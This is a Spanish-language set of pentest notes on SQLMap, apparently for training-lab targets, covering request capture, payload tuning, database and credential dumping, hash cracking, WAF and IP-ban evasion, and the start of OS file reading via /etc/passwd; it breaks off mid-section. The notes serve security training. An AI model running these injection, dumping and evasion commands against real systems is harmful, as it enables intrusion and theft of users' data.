> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/sql/sqlmap.md).

# SQLMAP

### SQLMap sobre peticiones HTTP

La mayoría de fallos al usar SQLMap no son del motor de inyección, sino de una petición mal configurada: cookies ausentes, línea de comandos sobrecargada o datos POST mal declarados. Por eso el primer paso es reproducir la petición **exactamente** como la envía el navegador.

**Reproducir la petición con cURL.** Lo más rápido es ir a las DevTools (pestaña Network), `Copy as cURL`, pegar y cambiar `curl` por `sqlmap`. Conserva headers y cookies tal cual:

```bash
sqlmap 'http://www.example.com/?id=1' -H 'User-Agent: Mozilla/5.0 ...' --compressed
```

#### **GET vs POST.**&#x20;

GET va con `-u/--url`; POST con `--data`, que testea todos los parámetros del cuerpo:

```bash
sqlmap -u 'http://www.example.com/?id=1'
sqlmap 'http://www.example.com/' --data 'uid=1&name=test'
```

Si ya sabes cuál es vulnerable, acótalo con `-p uid` para no perder tiempo. Alternativamente márcalo con asterisco (`uid=1*`), que le dice a SQLMap "inyecta aquí".

**Peticiones complejas con `-r`.** Cuando hay muchos headers o el cuerpo es largo, captura la petición completa en Burp (clic derecho → `Copy to file`) o desde el navegador (`Copy > Copy Request Headers`), guárdala en un `.txt` y lánzala:

```bash
sqlmap -r req.txt
```

Dentro del archivo también puedes marcar el objetivo con `*` (ej. `GET /?id=* HTTP/1.1`).

#### **Headers y sesión.**&#x20;

Para autenticación por cookie, o para forzar valores de header:

```bash
sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
sqlmap ... -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
```

Lo mismo aplica a `--host`, `--referer` y `-A/--user-agent`.

#### **Evadir protecciones.**&#x20;

Muchos WAF/filtros descartan el User-Agent por defecto de SQLMap (`sqlmap/1.4.x...`). Cámbialo:

```bash
sqlmap ... --random-agent    # UA aleatorio de navegador real
sqlmap ... --mobile          # simula smartphone
```

**Inyectar en headers, no solo parámetros.** Marca con `*` cualquier parte de la petición, incluido un header:

```bash
sqlmap ... --cookie="id=1*"
```

#### **Otros métodos HTTP** (PUT, etc.):

```bash
sqlmap -u www.target.com --data='id=1' --method PUT
```

**Cuerpos JSON/XML.** SQLMap los procesa de forma flexible. Simple → `--data '{"id":1}'`; largo o anidado → `-r req.txt`, y preguntará `JSON data found in HTTP body. Do you want to process it? [Y/n/q]`.

**Descubrimiento automático de parámetros:** `--crawl` (rastrea enlaces), `--forms` (detecta formularios), `-g` (dork de Google).

### Ejemplos:

Primero se copia desde el navegador todo el url completo desde el apartador de inspeccionar, se selecciona la url y se copia como COPY AS cURL eso pegamos en la terminal y agregamos o cambiamos datos dependiendo del metodo.

Para este caso, aplicamos el metodo POST para verificar si el parametro ID es injectable utilizando la flag --data y el uso de \*

```bash
 sqlmap 'http://154.57.164.75:32466/case2.php' \
  --compressed \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Referer: http://154.57.164.75:32466/' \
  -H 'Connection: keep-alive' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Priority: u=0, i' \
--data 'id=1*'
```

Como ya verificamos que es injectable, utilizamos el parametro "--dbs" para enumerar los databases

```bash
sqlmap 'http://154.57.164.68:31100/case2.php' \
  --compressed \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Referer: http://154.57.164.68:31100/' \
  -H 'Connection: keep-alive' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Priority: u=0, i' \
--data 'id=1*' \
--dbs
```

Enumeramos una tabla encontrada con "-D" y volcamos toda la informacion con "--dump"

```bash
sqlmap 'http://154.57.164.68:31100/case2.php' \
  --compressed \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Referer: http://154.57.164.68:31100/' \
  -H 'Connection: keep-alive' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Priority: u=0, i' \
--data 'id=1*' \
-D testdb --dump
```

Buscamos cookies con el parametro "--cookie"

```bash
sqlmap 'http://154.57.164.69:31748/case3.php' \
  --compressed \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Referer: http://154.57.164.69:31748/case3.php' \
  -H 'Connection: keep-alive' \
  -H 'Cookie: id=1' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Priority: u=0, i' \
--cookie 'id=1*' --dump
```

Mismo metodo POST en formato JSON

```bash
sqlmap 'http://154.57.164.69:31748/case4.php' \
  --compressed \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Referer: http://154.57.164.69:31748/case3.php' \
  -H 'Connection: keep-alive' \
  -H 'Cookie: id=1' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Priority: u=0, i' \
--data '{"id":1}' --dump
```

## SQLMap — Attack Tuning (Ajuste del Ataque)

En la mayoría de los casos SQLMap funciona directamente con los datos del objetivo. Aun así, existen opciones para **afinar los intentos de inyección** y ayudar a SQLMap en la fase de detección.

Cada payload enviado al objetivo se compone de:

* **vector** (ej. `UNION ALL SELECT 1,2,VERSION()`): la parte central, que lleva el código SQL útil a ejecutar en el objetivo.
* **boundaries / límites** (ej. `'<vector>-- -`): las formaciones de prefijo y sufijo, usadas para inyectar correctamente el vector dentro de la sentencia SQL vulnerable.

#### Prefix / Suffix

En casos raros no cubiertos por la ejecución normal, se requieren valores especiales de prefijo y sufijo. Se usan las opciones `--prefix` y `--suffix`:

bash

```bash
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"
```

Esto encierra todos los valores del vector entre el prefijo estático `%'))` y el sufijo `-- -`.

**Ejemplo.** Si el código vulnerable en el objetivo es:

```php
$query = "SELECT id,name,surname FROM users WHERE id LIKE (('" . $_GET["q"] . "')) LIMIT 0,1";
$result = mysqli_query($link, $query);
```

El vector `UNION ALL SELECT 1,2,VERSION()`, acotado con prefijo `%'))` y sufijo `-- -`, produce esta sentencia SQL **válida**:

```sql
SELECT id,name,surname FROM users WHERE id LIKE (('test%')) UNION ALL SELECT 1,2,VERSION()-- -')) LIMIT 0,1
```

#### Level / Risk

Por defecto SQLMap combina un conjunto predefinido de los boundaries (pares prefijo/sufijo) más comunes junto con los vectores de mayor probabilidad de éxito. Para usar conjuntos más grandes ya incorporados en SQLMap:

| Opción    | Rango (default) | Efecto                                                                                                                |
| --------- | --------------- | --------------------------------------------------------------------------------------------------------------------- |
| `--level` | 1–5 (1)         | Extiende **vectores Y boundaries** según su expectativa de éxito (a menor expectativa, mayor nivel).                  |
| `--risk`  | 1–3 (1)         | Extiende el **conjunto de vectores** según su riesgo de causar problemas en el objetivo (pérdida de registros o DoS). |

La mejor forma de ver las diferencias de boundaries y payloads entre distintos valores de `--level` y `--risk` es usar `-v` para el nivel de verbosidad. Con verbosidad 3 o superior (`-v 3`) se muestran los mensajes con el `[PAYLOAD]` usado:

```bash
sqlmap -u www.example.com/?id=1 -v 3 --level=5
```

Con el `--level` por defecto el conjunto de boundaries es mucho menor:

```shellsession
sqlmap -u www.example.com/?id=1 -v 3
```

Comparación del conjunto de vectores:

```shellsession
sqlmap -u www.example.com/?id=1
sqlmap -u www.example.com/?id=1 --level=5 --risk=3
```

#### **Cantidad de payloads:**

* Por defecto (`--level=1 --risk=1`): hasta **72** payloads por parámetro.
* Caso más detallado (`--level=5 --risk=3`): hasta **7 865** payloads.

> ⚠️ SQLMap ya está afinado para los boundaries y vectores más comunes. Se recomienda **no tocar** estas opciones en uso regular, porque ralentizan mucho la detección. La excepción son casos especiales donde es obligatorio usar payloads `OR` (ej. páginas de login): ahí sí hay que subir el nivel de `--risk`.
>
> Esto es porque los payloads `OR` son peligrosos por naturaleza en una ejecución por defecto, donde la sentencia SQL vulnerable (aunque menos común) podría estar modificando activamente el contenido de la base de datos (ej. `DELETE` o `UPDATE`).

***

### Advanced Tuning (Ajuste avanzado)

Existe un buen conjunto de switches y opciones adicionales. En casos regulares no hacen falta, pero conviene conocerlas.

#### Status Codes — `--code`

Cuando la respuesta es enorme y con mucho contenido dinámico, las diferencias sutiles entre respuestas **TRUE** y **FALSE** sirven para detectar. Si la diferencia se ve en los códigos HTTP (ej. `200` para TRUE y `500` para FALSE), `--code` fija la detección de TRUE a un código concreto:

```bash
--code=200
```

#### Titles — `--titles`

Si la diferencia se ve en los **títulos** de las páginas HTTP, este switch basa la comparación en el contenido de la etiqueta `<title>`.

bash

```bash
--titles
```

#### Strings — `--string`

Si un valor concreto aparece en respuestas TRUE (ej. `success`) y falta en las FALSE, `--string` fija la detección únicamente en la aparición de ese valor:

bash

```bash
--string=success
```

#### Text-only — `--text-only`

Cuando hay mucho contenido oculto (etiquetas como `<script>`, `<style>`, `<meta>`, etc.), este switch **elimina todas las etiquetas HTML** y basa la comparación solo en el contenido textual (visible).

bash

```bash
--text-only
```

#### Techniques — `--technique`

En casos especiales hay que limitar los payloads a un tipo concreto. Por ejemplo, si los payloads *time-based blind* causan timeouts, o si se quiere forzar un tipo específico de payload SQLi. Cada letra representa una técnica:

* **B** — Boolean-based blind
* **E** — Error-based
* **U** — UNION query-based
* **S** — Stacked queries
* **T** — Time-based blind
* **Q** — Inline queries

Ejemplo: para omitir *time-based blind* y *stacking*, probando solo boolean-based blind, error-based y UNION:

bash

```bash
--technique=BEU
```

### UNION SQLi Tuning

Algunos payloads UNION requieren información extra del usuario para funcionar:

| Opción         | Uso                                                                                                                                      | Ejemplo              |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------- |
| `--union-cols` | Número exacto de columnas de la consulta vulnerable, si se conoce manualmente.                                                           | `--union-cols=17`    |
| `--union-char` | Valor de relleno alternativo cuando los valores "dummy" por defecto (`NULL` y enteros aleatorios) no son compatibles con los resultados. | `--union-char='a'`   |
| `--union-from` | Apéndice `FROM <tabla>` al final de la consulta UNION (ej. en Oracle).                                                                   | `--union-from=users` |

> No poder usar el apéndice `FROM` automáticamente suele deberse a la imposibilidad de detectar el nombre del DBMS antes de utilizarlo.

### Resumen de comandos

```bash
# Prefijo / sufijo personalizados
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"

# Nivel y riesgo máximos con verbosidad para ver payloads
sqlmap -u www.example.com/?id=1 -v 3 --level=5 --risk=3

# Afinar detección
--code=200          # fijar código HTTP para TRUE
--titles            # comparar por <title>
--string=success    # comparar por string presente en TRUE
--text-only         # comparar solo texto visible (quita HTML)

# Restringir técnicas (B,E,U,S,T,Q)
--technique=BEU

# Tuning de UNION
--union-cols=17
--union-char='a'
--union-from=users
```

### Ejemplo 1

```bash
sqlmap -u 'http://154.57.164.79:31654/case5.php?id=1' -T flag5 --no-cast --dump --batch --risk 3 --level 5
```

* **`-u '<URL>'`** → URL objetivo. Inyecta en el parámetro con valor (`id=1`).
* **`-T flag5`** → Restringe la operación a la tabla `flag5`.
* **`--dump`** → Vuelca (extrae) el contenido de la tabla seleccionada.
* **`--no-cast`** → Desactiva el casteo a cadena en el dump. Truco cuando el volcado sale vacío o con errores de tipo.
* **`--batch`** → Modo no interactivo (respuestas por defecto).
* **`--risk 3`** → Riesgo máximo (1–3): payloads `OR` y time-based agresivos.
* **`--level 5`** → Profundidad máxima (1–5): prueba GET/POST, cookies y cabeceras HTTP.

### Ejemplo 2

```bash
sqlmap -u 'http://154.57.164.79:31654/case5.php?id=1' --random-agent --batch --dump --prefix='`)' --level=5 --risk=3
```

* **`--random-agent`** → User-Agent aleatorio de navegador real. Evade WAF/filtros que detectan la firma de sqlmap.
* **`--prefix='`)'\`** → Cadena que se antepone al payload para cerrar el contexto de la query (aquí backtick + paréntesis) y que la inyección funcione.

### Ejemplo 3

```bash
sqlmap -u 'http://154.57.164.79:31654/case5.php?id=1' --union-cols=5 --dump --batch --no-castsk=3
```

* **`--union-cols=5`** → Fuerza UNION-based a usar 5 columnas (evita la fuerza bruta de columnas). Acepta rango: `--union-cols=1-10`.

## SQLMap — Database Enumeration&#x20;

La enumeración es la parte central del ataque SQLi, y se realiza **justo después** de detectar y confirmar la explotabilidad de la vulnerabilidad. Consiste en la búsqueda y **exfiltración** de toda la información disponible en la base de datos vulnerable.

### SQLMap Data Exfiltration

SQLMap tiene un conjunto predefinido de consultas para cada DBMS soportado, guardadas en `queries.xml`. Cada entrada es el SQL que debe ejecutarse en el objetivo para recuperar el contenido deseado.

Ejemplo para MySQL (`queries.xml`):

```xml
<banner query="VERSION()"/>
<current_user query="CURRENT_USER()"/>
<current_db query="DATABASE()"/>
<hostname query="@@HOSTNAME"/>
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/>
```

* `--banner` → usa `VERSION()`
* `--current-user` → usa `CURRENT_USER()`

Para etiquetas como `<users>` hay **dos consultas** según la situación:

* **inband**: se usa en situaciones NO ciegas (UNION-query y error-based), donde los resultados aparecen en la propia respuesta.
* **blind**: se usa en situaciones ciegas, donde el dato se extrae fila por fila, columna por columna y **bit por bit**.

### Basic DB Data Enumeration

Tras detectar la vulnerabilidad, se empieza enumerando lo básico. SQLMap **omite la detección** si ya la identificó antes y pasa directo a la enumeración.

| Switch           | Recupera                                                      |
| ---------------- | ------------------------------------------------------------- |
| `--banner`       | Banner/versión del DBMS                                       |
| `--current-user` | Nombre del usuario actual                                     |
| `--current-db`   | Nombre de la base de datos actual                             |
| `--is-dba`       | Si el usuario actual tiene privilegios de DBA (administrador) |
| `--hostname`     | Hostname del objetivo                                         |
| `--passwords`    | Hashes de contraseñas                                         |

Todo de una sola vez:

```bash
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba
```

Salida típica:

```
back-end DBMS: MySQL >= 5.0
banner: '5.1.41-3~bpo50+1'
current user: 'root@%'
current database: 'testdb'
current user is DBA: True
```

> **Nota:** el usuario `root` **de la base de datos** casi nunca tiene relación con el usuario `root` del **SO**, más allá de representar al usuario privilegiado dentro del DBMS. El usuario de BD no debería tener restricciones dentro de la base, pero sus privilegios a nivel de SO (ej. escritura de archivos en rutas arbitrarias) deberían ser mínimos en despliegues recientes. Lo mismo aplica al rol `DBA`.

### Table Enumeration

Ya con el nombre de la BD actual (`testdb`), listar las tablas con `--tables` y `-D`:

```bash
sqlmap -u "http://www.example.com/?id=1" --tables -D testdb
```

Volcar el contenido de una tabla con `--dump` y `-T`:

```bash
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb
```

La tabla se guarda por defecto en formato **CSV** en el directorio de salida local.

> **Tip:** con `--dump-format` se puede cambiar el formato de salida a `HTML` o `SQLITE`, para luego investigar la BD en un entorno SQLite.
>
> bash
>
> ```bash
> --dump-format=SQLITE
> ```

***

### Table / Row Enumeration

Limitar **columnas** con `-C` (ej. solo `name` y `surname`):

```bash
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname
```

Limitar **filas** por su número ordinal con `--start` y `--stop` (ej. de la 2ª a la 3ª entrada):

```bash
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3
```

### Conditional Enumeration

Recuperar filas según una condición `WHERE` conocida con `--where`:

```bash
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"
```

### Full DB Enumeration

* Volcar **todas las tablas** de una BD: omitir `-T`.

```bash
  sqlmap -u "http://www.example.com/?id=1" --dump -D testdb
```

* Volcar **todo de todas las bases de datos**:

```bash
  sqlmap -u "http://www.example.com/?id=1" --dump-all
```

* Añadir `--exclude-sysdbs` para omitir las bases de datos del sistema (de poco interés para el pentester):

```bash
  sqlmap -u "http://www.example.com/?id=1" --dump-all --exclude-sysdbs
```

### Resumen de comandos

```bash
# Enumeración básica de una sola pasada
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba

# Info individual
--banner --current-user --current-db --is-dba --hostname --passwords

# Tablas y volcado
--tables -D testdb
--dump -T users -D testdb
--dump-format=SQLITE          # CSV (default) | HTML | SQLITE

# Acotar columnas y filas
--dump -T users -D testdb -C name,surname
--dump -T users -D testdb --start=2 --stop=3
--dump -T users -D testdb --where="name LIKE 'f%'"

# Volcado masivo
--dump -D testdb              # toda la BD
--dump-all                    # todas las BD
--dump-all --exclude-sysdbs   # omitir BD de sistema
```

### EJEMPLO 1

```bash
sqlmap -u 'http://154.57.164.77:31823/case1.php?id=1' -T flag1 --dump --batch --risk 3 --level 5 --dbms MYSQL -D testdb
```

* `--dbms MYSQL` — fuerza el motor de BD a MySQL (evita que SQLMap lo detecte solo, ahorra tiempo).
* `-D testdb` — base de datos objetivo donde está la tabla (`testdb`).

## SQLMap — Advanced Database Enumeration (Enumeración avanzada)

Técnicas más avanzadas para enumerar datos de interés, una vez cubierta la enumeración básica.

### DB Schema Enumeration — `--schema`

Recupera la **estructura de todas las tablas** (columnas y tipos), dando una vista completa de la arquitectura de la BD:

bash

```bash
sqlmap -u "http://www.example.com/?id=1" --schema
```

Salida: por cada BD/tabla lista las columnas con su tipo (ej. `id int(11)`, `name varchar(500)`, `content blob`).

### Searching for Data — `--search`

En BDs complejas, busca **bases, tablas o columnas** por nombre usando el operador `LIKE`.

Buscar **tablas** que contengan la palabra `user`:

```bash
sqlmap -u "http://www.example.com/?id=1" --search -T user
```

Buscar **columnas** que contengan la palabra `pass`:

```bash
sqlmap -u "http://www.example.com/?id=1" --search -C pass
```

Tras encontrar coincidencias, SQLMap pregunta si quieres volcarlas directamente (`do you want to dump found table(s) entries?`).

### Password Enumeration and Cracking

Al identificar una tabla con contraseñas (ej. `master.users`), la vuelcas con `-T`:

```bash
sqlmap -u "http://www.example.com/?id=1" --dump -D master -T users
```

Si SQLMap reconoce valores con formato de hash conocido, ofrece automáticamente:

1. Guardar los hashes en un archivo temporal para procesarlos con otras herramientas.
2. **Crackearlos con ataque de diccionario** (`do you want to crack them via a dictionary-based attack?`).
3. Elegir diccionario (por defecto el interno) y, opcionalmente, sufijos comunes (lento).

**Características del cracking:**

* Multiproceso, según los núcleos de la CPU.
* Soporta **31 algoritmos de hash** distintos.
* Diccionario interno con **1.4 millones** de entradas (recopiladas de filtraciones públicas).
* Si el hash no es aleatorio, hay buena probabilidad de crackeo automático.

En el volcado, las contraseñas crackeadas aparecen entre paréntesis junto al hash: `9a0f...deb9 (3052)`.

### DB Users Password Enumeration — `--passwords`

Vuelca los hashes de credenciales **propias del DBMS** (usuarios de conexión, en tablas del sistema):

```bash
sqlmap -u "http://www.example.com/?id=1" --passwords --batch
```

* Recupera usuarios como `root`, `debian-sys-maint`, etc.
* Ofrece el mismo flujo de cracking por diccionario (método `mysql_passwd`).
* Resultado: hash + clear-text si logra crackearlo (ej. `root : testpass`).

### Enumeración total — `--all --batch`

> **Tip:** `--all` combinado con `--batch` hace **automágicamente** todo el proceso de enumeración sobre el objetivo y entrega todos los detalles.
>
> bash
>
> ```bash
> sqlmap -u "http://www.example.com/?id=1" --all --batch
> ```
>
> Recupera **todo lo accesible**; puede tardar muchísimo. Luego hay que buscar manualmente el dato de interés en los archivos de salida.

### Resumen de comandos

```bash
# Estructura completa de la BD
sqlmap -u "http://www.example.com/?id=1" --schema

# Búsqueda por nombre (LIKE)
--search -T user            # tablas que contengan 'user'
--search -C pass            # columnas que contengan 'pass'

# Volcado de tabla con contraseñas + cracking automático
--dump -D master -T users

# Hashes de usuarios del propio DBMS + cracking
--passwords --batch

# Enumeración total automática
--all --batch
```

EJEMPLO 1

```bash
sqlmap -u 'http://154.57.164.77:31823/case1.php?id=1' --batch --search -C "style"
```

* `--search` — activa el modo búsqueda: rastrea identificadores (bases, tablas o columnas) usando el operador `LIKE`.
* `-C "style"` — indica que la búsqueda es por **columnas** cuyo nombre contenga `style`.

EJEMPLO 2

```bash
sqlmap -u 'http://154.57.164.77:31823/case1.php?id=1' --dump --batch --columns -C name,password -T users
```

* `--columns` — enumera las columnas (nombre + tipo) de la tabla indicada.
* `-C name,password` — restringe la operación a las columnas `name` y `password`.
* `-T users` — tabla objetivo (`users`).

## Bypass de Protecciones Web con SQLMap

Cuando el objetivo tiene protecciones (WAF, tokens, filtros), SQLMap incorpora mecanismos para saltárselas. Aquí van agrupados: teoría breve + comando + parámetros.

### Anti-CSRF Token

Cada petición requiere un token válido que solo existe si el usuario visitó la página. SQLMap parsea la respuesta, extrae el token fresco y lo reutiliza.

```bash
sqlmap -u "http://www.example.com/" \
  --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" \
  --csrf-token="csrf-token"
```

* **`--data`** → datos POST donde va el token.
* **`--csrf-token="<param>"`** → nombre del parámetro que contiene el token a refrescar.

> Si un parámetro contiene los infijos `csrf`, `xsrf` o `token`, SQLMap pregunta si actualizarlo aunque no uses la flag.

### Valor Único

La app solo exige que cierto parámetro lleve un valor distinto en cada petición (anti-CSRF simple, sin parsear la página).

```bash
sqlmap -u "http://www.example.com/?id=1&rp=29125" \
  --randomize=rp --batch -v 5 | grep URI
```

* **`--randomize=<param>`** → randomiza el valor de ese parámetro antes de enviarlo.
* **`-v 5 | grep URI`** → verbosidad alta para ver las peticiones generadas (solo para depurar).

### Parámetro Calculado

Un parámetro debe derivarse de otro, típicamente un hash (ej. `h=MD5(id)`).

```bash
sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" \
  --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5 | grep URI
```

* **`--eval="<código_python>"`** → ejecuta Python justo antes de cada petición para recalcular el valor dependiente.

### Ocultar la IP

Para evadir baneos por IP o mantener anonimato.

```bash
# Proxy único
sqlmap -u "http://www.example.com/?id=1" --proxy="socks4://177.39.187.70:33283"

# Lista de proxies (salta al siguiente si uno falla)
sqlmap -u "http://www.example.com/?id=1" --proxy-file=proxies.txt

# Red Tor + verificación
sqlmap -u "http://www.example.com/?id=1" --tor --check-tor
```

* **`--proxy="<esquema://IP:puerto>"`** → enruta por un proxy.
* **`--proxy-file=<archivo>`** → recorre la lista en orden ante fallos/baneos.
* **`--tor`** → usa Tor (detecta puerto SOCKS local, normalmente 9050/9150).
* **`--check-tor`** → confirma contra `check.torproject.org` que Tor funciona.

### Bypass de WAF

Al iniciar, SQLMap manda un payload con un parámetro inexistente (`?pfov=...`) para detectar el WAF. Si lo hay, cambia la respuesta (ej. ModSecurity → **406**) e identifica cuál es con **identYwaf** (80 firmas).

```bash
sqlmap -u "http://www.example.com/?id=1" --skip-waf
```

* **`--skip-waf`** → omite el test heurístico de detección para hacer menos ruido.

### Blacklist de User-Agent

Si aparecen errores 5XX desde el inicio, suele ser que bloquean el user-agent por defecto (`sqlmap/1.x`).

```bash
sqlmap -u "http://www.example.com/?id=1" --random-agent
```

* **`--random-agent`** → sustituye el user-agent por uno aleatorio de navegador real.

### Tamper Scripts

Scripts Python que modifican la petición antes de enviarla para evadir WAF/IPS. Se encadenan y se ejecutan por prioridad predefinida (para no romper la sintaxis SQL).

```bash
# Encadenar scripts
sqlmap -u "http://www.example.com/?id=1" --tamper=between,randomcase

# Listar todos los disponibles
sqlmap --list-tampers
```

* **`--tamper=<s1,s2,...>`** → aplica los scripts indicados.
* **`--list-tampers`** → muestra todos con su descripción.

Los más usados:

| Tamper            | Efecto                                                 |
| ----------------- | ------------------------------------------------------ |
| `between`         | `>` → `NOT BETWEEN 0 AND #`, `=` → `BETWEEN # AND #`   |
| `randomcase`      | Case aleatorio (`SELECT` → `SEleCt`)                   |
| `space2comment`   | Espacios → `/**/`                                      |
| `base64encode`    | Codifica el payload en Base64                          |
| `equaltolike`     | `=` → `LIKE`                                           |
| `percentage`      | `%` antes de cada carácter (`SELECT` → `%S%E%L%E%C%T`) |
| `symboliclogical` | `AND`/`OR` → `&&`/\`                                   |
| `plus2concat`     | `+` → `CONCAT()` (MsSQL)                               |
| `0eunion`         | `UNION` → `e0UNION`                                    |

### Otros Bypasses

```bash
# Chunked transfer encoding
sqlmap -u "http://www.example.com/" --data="id=1" --chunked
```

* **`--chunked`** → parte el cuerpo POST en fragmentos, separando keywords SQL bloqueadas entre chunks.
* **HPP (HTTP Parameter Pollution)** → técnica conceptual (sin flag): divide el payload entre valores repetidos del mismo parámetro (`?id=1&id=UNION&id=SELECT&id=FROM...`), que la plataforma concatena si lo soporta (ej. ASP).

***

**Orden recomendado:** empieza por lo silencioso (`--random-agent`, `--skip-waf`) y escala a tamper scripts solo cuando confirmas qué protección tienes delante. Si SQLMap detecta protección durante la ejecución, espera fricción con otros mecanismos también.

### Ejemplo 1

Priemro debemos obtener un token valido y luego con burpsuite capturamos un request que contenga el token y el parametro injectable

<figure><img src="/files/rmYejYdYvp2UiWlKiTHl" alt=""><figcaption></figcaption></figure>

```bash
sqlmap -r request.txt -p 'id' --csrf-token="t0ken" --batch -t flag8 --dump --no-cast
```

### Ejemplo 2

```bash
sqlmap -u 'http://154.57.164.67:30637/case9.php?id=1&uid=51434972' --batch -T flag9 --dump --no-cast --randomize='uid'
```

* **`-u '<URL>'`** → URL objetivo; inyecta en `id`, con `uid` como segundo parámetro.
* **`--batch`** → Modo no interactivo (respuestas por defecto).
* **`-T flag9`** → Restringe la operación a la tabla `flag9`.
* **`--dump`** → Vuelca el contenido de la tabla.
* **`--no-cast`** → Desactiva el casteo a cadena en el dump (truco para volcados vacíos/con errores de tipo).
* **`--randomize='uid'`** → Randomiza el valor de `uid` en cada petición para saltar la protección de valor único.

### Ejemplo 3

Este comando ataca una inyección SQL cargando la petición HTTP completa desde un archivo (`request.txt`) en lugar de escribir la URL a mano. Es el enfoque habitual cuando la petición es compleja: lleva cookies, cabeceras específicas, datos POST, tokens, etc. Capturas la request (normalmente desde Burp Suite) la guardas en un archivo, y SQLMap la reproduce tal cual, inyectando en el parámetro que le indiques. Aquí se centra en el parámetro `id`, usa user-agent aleatorio para evadir filtros, y vuelca la tabla `flag10`.

```bash
sqlmap -r request.txt -p 'id' --batch --dump -T flag10 --random-agent --no-cast
```

* **`-r request.txt`** → Carga la petición HTTP completa desde un archivo (capturada con Burp/ZAP); reutiliza sus cookies, cabeceras y datos POST.
* **`-p 'id'`** → Fuerza la inyección en el parámetro `id` (en vez de dejar que SQLMap pruebe todos).
* **`--batch`** → Modo no interactivo (respuestas por defecto).
* **`--dump`** → Vuelca el contenido de la tabla.
* **`-T flag10`** → Restringe la operación a la tabla `flag10`.
* **`--random-agent`** → User-Agent aleatorio de navegador real, para evadir filtros/WAF que detectan la firma de SQLMap.
* **`--no-cast`** → Desactiva el casteo a cadena en el dump (truco para volcados vacíos o con errores de tipo).

### Ejemplo 4

Este comando ataca una inyección SQL donde hay algún filtro o WAF que bloquea ciertos operadores de comparación (`>`, `=`), típicos en los payloads de SQLMap. Para saltárselo usa el tamper script `between`, que reescribe esos operadores con sintaxis equivalente que el filtro no reconoce, permitiendo que la inyección pase y se vuelque la tabla `flag11`.

```bash
sqlmap -u  'http://154.57.164.64:30756/case11.php?id=1' --batch --dump -T flag11 --no-cast --tamper=between
```

* **`-u '<URL>'`** → URL objetivo; inyecta en el parámetro `id`.
* **`--batch`** → Modo no interactivo (respuestas por defecto).
* **`--dump`** → Vuelca el contenido de la tabla.
* **`-T flag11`** → Restringe la operación a la tabla `flag11`.
* **`--no-cast`** → Desactiva el casteo a cadena en el dump (truco para volcados vacíos o con errores de tipo).
* **`--tamper=between`** → Reescribe `>` como `NOT BETWEEN 0 AND #` y `=` como `BETWEEN # AND #` para evadir filtros/WAF que bloquean esos operadores.

## OS Exploitation con SQLMap

SQLMap puede usar una inyección SQL para leer/escribir archivos del sistema anfitrión (fuera del DBMS) e incluso obtener ejecución de comandos en el host remoto, si el usuario de la BD tiene los privilegios adecuados.

### Lectura/Escritura de Archivos

Leer es más común que escribir (esto último está muy restringido en DBMS modernos). En MySQL, para leer archivos locales el usuario necesita privilegios `LOAD DATA` e `INSERT`, cargando el contenido a una tabla y luego leyéndola:

```sql
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE passwd;
```

No siempre hacen falta privilegios de administrador (DBA) para leer, pero cada vez es más común. Con DBA, es más probable tener permisos de lectura de archivos.

### Comprobar privilegios DBA

```bash
sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba
```

* **`--is-dba`** → Comprueba si el usuario actual tiene privilegios de administrador de la BD. Devuelve `True` o `False`. Si es `False`, un intento de leer archivos suele terminar en `no data retrieved`.

### Leer Archivos Locales

```bash
